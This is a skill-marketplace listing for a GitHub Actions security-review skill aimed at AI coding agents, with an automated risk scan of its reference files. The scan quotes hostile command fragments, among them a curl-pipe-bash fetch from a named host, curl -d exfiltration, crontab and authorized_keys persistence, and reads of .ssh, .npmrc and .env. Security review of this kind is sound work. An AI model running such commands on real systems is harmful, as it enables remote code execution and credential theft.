Back to Skills

gha-security-review

GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.

749stars40forksUpdated 5/28/2026

Security Assessment

Critical Risk(0/100)

Detected risks:

Data Exfiltration([references/credential-escalation.md] curl -d, [references/runner-infrastructure.md] curl -d, [references/pwn-request.md] curl -d)
Persistence([references/runner-infrastructure.md] crontab, [references/runner-infrastructure.md] authorized_keys)
Remote Code Execution([references/real-world-attacks.md] curl -sSfL https://hackmoltrepeat.com/molt | bash, [references/real-world-attacks.md] curl | bash, [references/real-world-attacks.md] curl -sSfL [url] | bash)
Secret Exposure([references/real-world-attacks.md] token=, [references/credential-escalation.md] AWS_ACCESS_KEY, [references/credential-escalation.md] token=)
Sensitive File Access([references/runner-infrastructure.md] .ssh/, [references/runner-infrastructure.md] .npmrc, [references/runner-infrastructure.md] .env)
Command Injection([references/pwn-request.md] os.system)
Security Score0/100

About gha-security-review

This skill performs a focused security review of GitHub Actions workflows with an exploitation-first approach. It is designed to identify real, externally exploitable vulnerabilities in CI/CD pipelines rather than theoretical or low-impact issues. The core goal is to analyze how an attacker without repository write access could manipulate workflow behavior to achieve outcomes such as code execution, credential theft, token exposure, or supply chain compromise. It evaluates workflow definitions and related repository configuration to reconstruct realistic attack paths before reporting any security findings.

The skill analyzes GitHub Actions workflows, reusable composite actions, and supporting configuration files to identify risky patterns and trace them into complete exploitation chains. It classifies triggers, evaluates expression injection risks, inspects third-party and local actions, and considers credential handling and runner environments. Findings are filtered by confidence level, reporting only medium and high-confidence issues. High-confidence findings require a fully validated attack path and include structured breakdowns of entry point, payload, execution mechanism, impact, and a proof-of-concept sketch. The threat model is strictly limited to external attackers, excluding issues requiring repository write access or internal triggers.

This skill is intended for security-focused review of CI/CD systems in real-world development environments. It is used by security engineers, DevSecOps teams, and maintainers who need to harden GitHub Actions pipelines against exploitation. It is also useful in penetration testing scenarios where the goal is to simulate external attacker capabilities against automation workflows. By focusing on practical exploitability, it helps teams prioritize and remediate vulnerabilities that could lead to real compromise of codebases, secrets, or deployment infrastructure.

FAQ

What type of vulnerabilities does this skill look for in GitHub Actions?

It focuses on externally exploitable issues such as workflow trigger abuse, expression injection, insecure use of third-party actions, credential exposure, and supply chain risks that could be leveraged by attackers without repository write access.

Does this skill work on any GitHub repository?

It is designed to analyze repositories containing GitHub Actions workflows, including workflow YAML files, composite actions, and related configuration files. It does not depend on external systems beyond the repository content being reviewed.

What are the main limitations of this security review approach?

It only reports issues that are realistically exploitable by external attackers. Theoretical vulnerabilities, low-confidence findings, and issues requiring repository write access or internal privileges are intentionally excluded.

What information is needed to perform a proper review?

The workflow files and related repository configuration are required. The analysis may also trace references across scripts and local actions to reconstruct full execution paths.

All Files

10 files
references/real-world-attacks.md9.2 KB
View
references/permissions-and-secrets.md7.7 KB
View
references/comment-triggered-commands.md5.5 KB
View
references/ai-prompt-injection-via-ci.md5.3 KB
View
references/expression-injection.md8.4 KB
View
references/credential-escalation.md6.5 KB
View
references/runner-infrastructure.md7.8 KB
View
references/supply-chain.md5.9 KB
View
references/pwn-request.md5.8 KB
View
SKILL.md8.1 KB
View

Install gha-security-review

Download and extract the skill files to your .claude/skills/ directory.

Quick Setup:

  1. Copy the skill folder to .claude/skills/
  2. Claude will automatically detect and use the skill